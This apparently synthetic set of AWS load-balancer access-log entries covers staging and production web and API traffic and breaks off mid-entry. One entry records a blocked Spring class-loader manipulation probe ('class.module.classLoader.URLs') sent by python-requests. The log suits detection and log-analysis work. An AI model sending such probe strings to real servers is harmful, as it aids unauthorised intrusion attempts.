"-" +https 2024-11-01T00:11:01.576860Z staging-alb 53.159.210.71:11611 222.36.236.222:80 0.036672 0.567887 0.056708 302 302 622 13278 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba25-1313a2b9d3164968aae75bcc" "staging-alb.example.com" "-" 10 2024-11-01T00:11:01.576860Z "forward" "-" "-" "222.36.236.222:80" "302" "-" "-" +https 2024-11-01T00:11:02.513382Z staging-alb 50.150.83.123:35755 92.39.185.155:80 0.019282 0.745513 0.075150 200 200 171 13180 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba26-ed6ae1d167e746e2a021fe25" "staging-alb.example.com" "-" 8 2024-11-01T00:11:02.513382Z "forward" "-" "-" "92.39.185.155:80" "200" "-" "-" +https 2024-11-01T00:11:03.909830Z prod-api-alb 189.199.200.58:11131 10.0.206.77:443 0.031600 0.086513 0.030923 200 200 158 814 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba27-2c3e5ae8f4b94943bd1f7325" "prod-api-alb.example.com" "-" 8 2024-11-01T00:11:03.909830Z "forward" "-" "-" "10.0.206.77:443" "200" "-" "-" +http 2024-11-01T00:11:04.130876Z staging-alb 79.95.202.76:13205 176.245.244.43:8080 0.077933 0.713614 0.134987 302 302 701 7597 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba28-7fd4d915936d447e958e40af" "staging-alb.example.com" "-" 5 2024-11-01T00:11:04.130876Z "forward" "-" "-" "176.245.244.43:8080" "302" "-" "-" +https 2024-11-01T00:11:04.262386Z prod-api-alb 85.180.198.160:19953 10.0.122.91:443 0.064663 0.054684 0.035678 404 404 937 5918 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba28-4648fea2831146168c29d0ba" "prod-api-alb.example.com" "-" 7 2024-11-01T00:11:04.262386Z "forward" "-" "-" "10.0.122.91:443" "404" "-" "-" +https 2024-11-01T00:11:06.026352Z staging-alb 195.90.29.208:21854 181.72.193.20:80 0.145515 0.315627 0.074886 200 200 575 9566 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba2a-26d083ceb6ee4decb3a47efe" "staging-alb.example.com" "-" 2 2024-11-01T00:11:06.026352Z "forward" "-" "-" "181.72.193.20:80" "200" "-" "-" +https 2024-11-01T00:11:07.236962Z staging-alb 181.46.211.153:13297 227.177.228.241:443 0.143496 0.598961 0.087336 200 200 326 11028 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba2b-561eccb679a6468980bf714d" "staging-alb.example.com" "-" 0 2024-11-01T00:11:07.236962Z "forward" "-" "-" "227.177.228.241:443" "200" "-" "-" +https 2024-11-01T00:11:09.120916Z prod-web-alb 192.181.71.106:51493 10.0.150.72:443 0.083324 0.300681 0.016327 302 302 147 12799 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba2d-76cb5e11d7294713b0fc4a72" "prod-web-alb.example.com" "-" 4 2024-11-01T00:11:09.120916Z "forward" "-" "-" "10.0.150.72:443" "302" "-" "-" +https 2024-11-01T00:11:09.635863Z prod-api-alb 47.83.12.128:37914 10.0.132.61:443 0.088032 0.116828 0.063760 200 200 691 5504 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba2d-16c2e3deedaa4443831245a9" "prod-api-alb.example.com" "-" 7 2024-11-01T00:11:09.635863Z "forward" "-" "-" "10.0.132.61:443" "200" "-" "-" +http 2024-11-01T00:11:10.417651Z staging-alb 89.145.131.244:59696 113.16.49.142:443 0.041140 0.352708 0.038418 404 404 217 2176 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba2e-606d0005760f4b74a4968d43" "staging-alb.example.com" "-" 8 2024-11-01T00:11:10.417651Z "forward" "-" "-" "113.16.49.142:443" "404" "-" "-" +https 2024-11-01T00:11:11.080929Z prod-api-alb 43.122.151.202:48982 10.0.78.249:443 0.027146 0.155563 0.008978 302 302 704 12867 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba2f-ea6a0f215bd94a728b72f6eb" "prod-api-alb.example.com" "-" 7 2024-11-01T00:11:11.080929Z "forward" "-" "-" "10.0.78.249:443" "302" "-" "-" +https 2024-11-01T00:11:11.845655Z prod-web-alb 177.78.100.138:17304 10.0.49.83:443 0.042028 0.231039 0.037885 404 404 770 581 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba2f-f9449443c2cb408f82ff8c61" "prod-web-alb.example.com" "-" 2 2024-11-01T00:11:11.845655Z "forward" "-" "-" "10.0.49.83:443" "404" "-" "-" +https 2024-11-01T00:11:13.052557Z prod-api-alb 45.155.205.243:41967 10.0.157.4:443 0.032697 0.322616 0.052983 403 403 167 1862 "PUT /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba31-1a93c0cfe55c41c1a52737dc" "-" "-" 2 2024-11-01T00:11:13.052557Z "forward" "-" "-" "10.0.157.4:443" "403" "-" "-" +https 2024-11-01T00:11:13.170338Z prod-api-alb 219.109.28.138:15294 10.0.205.164:443 0.023813 0.138853 0.018754 200 200 972 6395 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba31-ae89207a81014e37b81ebaf7" "prod-api-alb.example.com" "-" 1 2024-11-01T00:11:13.170338Z "forward" "-" "-" "10.0.205.164:443" "200" "-" "-" +https 2024-11-01T00:11:14.412645Z prod-web-alb 122.93.129.155:13151 10.0.51.130:443 0.096516 0.337771 0.038781 404 404 418 8029 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba32-60fff75e02ff488bb7f7fb5c" "prod-web-alb.example.com" "-" 3 2024-11-01T00:11:14.412645Z "forward" "-" "-" "10.0.51.130:443" "404" "-" "-" +https 2024-11-01T00:11:15.183462Z prod-web-alb 42.115.135.161:15692 10.0.172.164:443 0.003223 0.064101 0.077275 200 200 536 1764 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba33-18863308b9f048adb57087d3" "prod-web-alb.example.com" "-" 0 2024-11-01T00:11:15.183462Z "forward" "-" "-" "10.0.172.164:443" "200" "-" "-" +https 2024-11-01T00:11:16.788356Z prod-api-alb 78.17.201.119:45234 10.0.10.149:443 0.017246 0.227473 0.009837 200 200 999 14878 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba34-d9b9bae1ba124658b7780676" "prod-api-alb.example.com" "-" 9 2024-11-01T00:11:16.788356Z "forward" "-" "-" "10.0.10.149:443" "200" "-" "-" +https 2024-11-01T00:11:18.370576Z prod-api-alb 45.218.230.56:57839 10.0.104.157:443 0.090673 0.044596 0.086797 404 404 741 5482 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba36-5a61a7ff257a44c58a899918" "prod-api-alb.example.com" "-" 7 2024-11-01T00:11:18.370576Z "forward" "-" "-" "10.0.104.157:443" "404" "-" "-" +https 2024-11-01T00:11:18.896261Z prod-web-alb 219.189.186.87:47169 10.0.238.29:443 0.091197 0.494573 0.036089 301 301 875 9587 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba36-c1a681de02644d3a8d5facdd" "prod-web-alb.example.com" "-" 0 2024-11-01T00:11:18.896261Z "forward" "-" "-" "10.0.238.29:443" "301" "-" "-" +https 2024-11-01T00:11:20.176830Z prod-api-alb 167.20.253.140:48446 10.0.127.47:443 0.003275 0.373944 0.029784 302 302 191 623 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba38-a5cc7184def047b78b9eea73" "prod-api-alb.example.com" "-" 5 2024-11-01T00:11:20.176830Z "forward" "-" "-" "10.0.127.47:443" "302" "-" "-" +https 2024-11-01T00:11:21.505469Z prod-web-alb 123.121.191.108:35498 10.0.130.29:443 0.026487 0.038166 0.088579 200 200 816 14655 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba39-ab80e4cde1754aaf9b7296ae" "prod-web-alb.example.com" "-" 2 2024-11-01T00:11:21.505469Z "forward" "-" "-" "10.0.130.29:443" "200" "-" "-" +https 2024-11-01T00:11:21.652675Z staging-alb 246.21.185.85:34194 149.53.49.176:8080 0.080709 0.008129 0.073181 301 301 728 2270 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba39-c65283856e6e4566b983f083" "staging-alb.example.com" "-" 6 2024-11-01T00:11:21.652675Z "forward" "-" "-" "149.53.49.176:8080" "301" "-" "-" +https 2024-11-01T00:11:22.742318Z prod-api-alb 197.241.251.63:48690 10.0.177.52:443 0.028026 0.217231 0.042290 200 200 42 12434 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba3a-b2e8435fe08f4638893de901" "prod-api-alb.example.com" "-" 9 2024-11-01T00:11:22.742318Z "forward" "-" "-" "10.0.177.52:443" "200" "-" "-" +https 2024-11-01T00:11:23.048899Z prod-api-alb 139.41.247.43:26509 10.0.52.129:443 0.027414 0.129721 0.004816 302 302 596 9502 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba3b-26536b9c646e4460a24fdcff" "prod-api-alb.example.com" "-" 0 2024-11-01T00:11:23.048899Z "forward" "-" "-" "10.0.52.129:443" "302" "-" "-" +https 2024-11-01T00:11:23.718802Z prod-api-alb 20.198.194.240:49194 10.0.93.161:443 0.059500 0.062888 0.095359 200 200 127 2135 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba3b-fe9bb3ab6f2f440f86a3cfea" "prod-api-alb.example.com" "-" 2 2024-11-01T00:11:23.718802Z "forward" "-" "-" "10.0.93.161:443" "200" "-" "-" +http 2024-11-01T00:11:25.659012Z staging-alb 172.139.247.92:21795 229.174.43.71:80 0.033816 0.356161 0.103311 302 302 88 2748 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba3d-6a375f165e8d4e4a99ff1b40" "staging-alb.example.com" "-" 7 2024-11-01T00:11:25.659012Z "forward" "-" "-" "229.174.43.71:80" "302" "-" "-" +https 2024-11-01T00:11:26.335789Z staging-alb 243.152.196.76:51112 189.65.249.46:8080 0.000763 0.620447 0.049137 302 302 260 2065 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba3e-97f46671d99d48ef81655f11" "-" "-" 7 2024-11-01T00:11:26.335789Z "forward" "-" "-" "189.65.249.46:8080" "302" "-" "-" +http 2024-11-01T00:11:28.328114Z staging-alb 208.66.21.172:11101 19.21.26.45:443 0.027726 0.030235 0.075285 200 200 738 833 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba40-224bbfc44667400c8e20dba7" "staging-alb.example.com" "-" 5 2024-11-01T00:11:28.328114Z "forward" "-" "-" "19.21.26.45:443" "200" "-" "-" +http 2024-11-01T00:11:28.565648Z staging-alb 139.22.61.236:23792 175.147.210.181:443 0.119540 0.523191 0.136368 301 301 615 8480 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba40-218a4090894e4e9092f1c90c" "staging-alb.example.com" "-" 3 2024-11-01T00:11:28.565648Z "forward" "-" "-" "175.147.210.181:443" "301" "-" "-" +https 2024-11-01T00:11:28.898569Z prod-api-alb 116.245.29.174:34509 10.0.58.207:443 0.015631 0.202864 0.074725 200 200 247 13232 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba40-46f2e7554a2340d49575769d" "prod-api-alb.example.com" "-" 3 2024-11-01T00:11:28.898569Z "forward" "-" "-" "10.0.58.207:443" "200" "-" "-" +https 2024-11-01T00:11:30.483186Z prod-web-alb 254.220.140.125:31938 10.0.79.223:443 0.069569 0.347984 0.025371 302 302 558 12294 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba42-b4769cbefbcc4b06add496ac" "prod-web-alb.example.com" "-" 6 2024-11-01T00:11:30.483186Z "forward" "-" "-" "10.0.79.223:443" "302" "-" "-" +https 2024-11-01T00:11:31.052703Z prod-api-alb 132.130.133.249:64141 10.0.39.212:443 0.068961 0.085988 0.010333 200 200 791 814 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba43-49ebf36e6cb04d62931ac560" "-" "-" 4 2024-11-01T00:11:31.052703Z "forward" "-" "-" "10.0.39.212:443" "200" "-" "-" +http 2024-11-01T00:11:32.475042Z staging-alb 12.227.15.5:28222 30.236.178.182:8080 0.084584 0.026332 0.052852 301 301 103 10739 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba44-17534f0e35c643de913f221e" "staging-alb.example.com" "-" 10 2024-11-01T00:11:32.475042Z "forward" "-" "-" "30.236.178.182:8080" "301" "-" "-" +https 2024-11-01T00:11:33.530004Z prod-web-alb 80.53.196.191:55217 10.0.196.124:443 0.067907 0.167998 0.037152 301 301 658 6146 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba45-11dd7ebd2fc64f1c82529861" "prod-web-alb.example.com" "-" 10 2024-11-01T00:11:33.530004Z "forward" "-" "-" "10.0.196.124:443" "301" "-" "-" +https 2024-11-01T00:11:33.845356Z prod-web-alb 15.213.0.182:60574 10.0.7.93:443 0.031636 0.027746 0.058761 200 200 414 1389 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba45-28df62d3b1fb4d49a206d98e" "prod-web-alb.example.com" "-" 1 2024-11-01T00:11:33.845356Z "forward" "-" "-" "10.0.7.93:443" "200" "-" "-" +https 2024-11-01T00:11:34.101362Z prod-api-alb 150.99.57.214:35904 10.0.147.4:443 0.067870 0.284844 0.064203 404 404 804 2372 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba46-93e1b21fc304463d8166fa2f" "prod-api-alb.example.com" "-" 2 2024-11-01T00:11:34.101362Z "forward" "-" "-" "10.0.147.4:443" "404" "-" "-" +https 2024-11-01T00:11:34.803075Z staging-alb 6.92.164.254:25992 207.106.80.183:80 0.050914 0.206238 0.136408 200 200 518 13304 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba46-04120c0d5c4d4024b12ad94d" "staging-alb.example.com" "-" 1 2024-11-01T00:11:34.803075Z "forward" "-" "-" "207.106.80.183:80" "200" "-" "-" +https 2024-11-01T00:11:35.779579Z prod-web-alb 4.6.184.20:18114 10.0.33.244:443 0.098461 0.400914 0.061194 301 301 731 13491 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba47-bbfe960ff25d4355811fe5c5" "prod-web-alb.example.com" "-" 5 2024-11-01T00:11:35.779579Z "forward" "-" "-" "10.0.33.244:443" "301" "-" "-" +http 2024-11-01T00:11:37.503884Z staging-alb 114.229.213.59:17387 65.28.245.108:8080 0.144007 0.233172 0.116898 301 301 294 2362 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba49-22a1b8bb087440c0839c3e04" "staging-alb.example.com" "-" 7 2024-11-01T00:11:37.503884Z "forward" "-" "-" "65.28.245.108:8080" "301" "-" "-" +https 2024-11-01T00:11:37.870383Z prod-api-alb 234.34.60.155:46018 10.0.116.87:443 0.059625 0.371889 0.083790 200 200 685 10954 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba49-91572138e2ef4bb9b7946341" "prod-api-alb.example.com" "-" 10 2024-11-01T00:11:37.870383Z "forward" "-" "-" "10.0.116.87:443" "200" "-" "-" +https 2024-11-01T00:11:38.864511Z prod-api-alb 83.74.1.218:37444 10.0.185.106:443 0.012849 0.398108 0.089078 200 200 182 7668 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba4a-50f87bd627394be0a18e373a" "prod-api-alb.example.com" "-" 6 2024-11-01T00:11:38.864511Z "forward" "-" "-" "10.0.185.106:443" "200" "-" "-" +https 2024-11-01T00:11:39.028762Z prod-web-alb 57.247.92.210:60166 10.0.206.150:443 0.078004 0.113007 0.082360 404 404 804 14320 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba4b-69d7e54d6c3746b7917ac4d9" "prod-web-alb.example.com" "-" 3 2024-11-01T00:11:39.028762Z "forward" "-" "-" "10.0.206.150:443" "404" "-" "-" +https 2024-11-01T00:11:40.132320Z staging-alb 165.246.156.240:21467 228.125.64.65:80 0.141919 0.197897 0.104386 200 200 189 3813 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba4c-8b49e8b7abea4b6ea008d38e" "staging-alb.example.com" "-" 3 2024-11-01T00:11:40.132320Z "forward" "-" "-" "228.125.64.65:80" "200" "-" "-" +https 2024-11-01T00:11:41.522587Z prod-web-alb 208.59.215.150:58342 10.0.125.96:443 0.062980 0.402819 0.055091 200 200 616 14286 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba4d-37255854e5fa41748fdff2ce" "prod-web-alb.example.com" "-" 6 2024-11-01T00:11:41.522587Z "forward" "-" "-" "10.0.125.96:443" "200" "-" "-" +https 2024-11-01T00:11:43.102207Z prod-web-alb 162.1.182.69:23729 10.0.129.206:443 0.017814 0.395026 0.052895 302 302 70 7287 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba4f-3247e87603f241fca3838547" "prod-web-alb.example.com" "-" 3 2024-11-01T00:11:43.102207Z "forward" "-" "-" "10.0.129.206:443" "302" "-" "-" +http 2024-11-01T00:11:44.158162Z staging-alb 240.157.61.161:33778 63.232.223.155:443 0.120280 0.715079 0.129382 404 404 852 510 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba50-1d182bac8f5f4af090bcd35d" "staging-alb.example.com" "-" 9 2024-11-01T00:11:44.158162Z "forward" "-" "-" "63.232.223.155:443" "404" "-" "-" +http 2024-11-01T00:11:45.102358Z staging-alb 104.48.7.230:28927 105.24.99.65:8080 0.095249 0.564083 0.055377 302 302 805 11752 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 